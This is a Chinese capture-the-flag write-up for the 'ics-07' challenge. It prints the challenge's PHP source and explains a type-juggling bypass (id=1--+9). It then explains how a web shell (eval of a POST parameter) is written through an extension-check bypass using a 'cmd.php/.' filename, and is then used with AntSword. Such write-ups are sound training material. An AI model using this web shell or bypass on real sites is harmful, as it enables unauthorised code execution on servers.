ics-07
-
题目描述
工控云管理系统项目管理页面解析漏洞
-
解题过程
进入项目管理页面,给了源码
<?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } ?> <form action="#" method="get"> page : <input type="text" name="page" value=""> id : <input type="text" name="id" value=""> <input type="submit" name="submit" value="submit"> </form> <br /> <a href="index.phps">view-source</a> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
-
先看了下面的sql部分,要执行sql语句需要满足一些条件:
- id转换为float后等于1
- id的最后一位为9
- 最后id要直接放到sql语句里,所以需要合法
这个点涉及了php的类型转换漏洞,结合上面的条件构造:
id=1--+9
因为这里面有
mysql_real_escape_string()
函数,会在以下字符前添加反斜杠:*x00*, * *, * *, **, *'*, *"*
和*x1a*.
查了一下可以宽字节绕过,但是尝试之后不起作用,暂时搁着往下看。
查询成功后
$_SESSION['admin'] = True;
,就可以使用上半部分读取文件的功能点了<?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?>
用post传入
con
和file
,会把con
的内容写到/uploaded/backup/file
里,但file
的内容会被preg_match
检查想起来
preg_match
的一个漏洞,在匹配结束后会转义unicode,把cmd.php
unicode编码再url编码,构造payload:con=<?php eval($_POST['cmd']); ?>&file=%26%2399%3B%26%23109%3B%26%23100%3B%26%2346%3B%26%23112%3B%26%23104%3B%26%23112%3B
发现unicode没有被转义,自己搭了环境测试,是可行的,看来是版本原因
再想想办法,把正则表达式放到可视化网站里看了下,这里的后缀匹配方式是最后一个点后面的内容
尝试
con=<?php eval($_POST['cmd']); ?>&file=cmd.php/.
还是传不了,就xx离谱,去看了n多write up,都是这么做的,感觉是burp的问题
换firefox试了一下,是可以的?问号脸(为啥burp不行呢,我检查了sessionID是一样的,url/格式也没问题,请求方式也改了)
连蚁剑,拿flag
-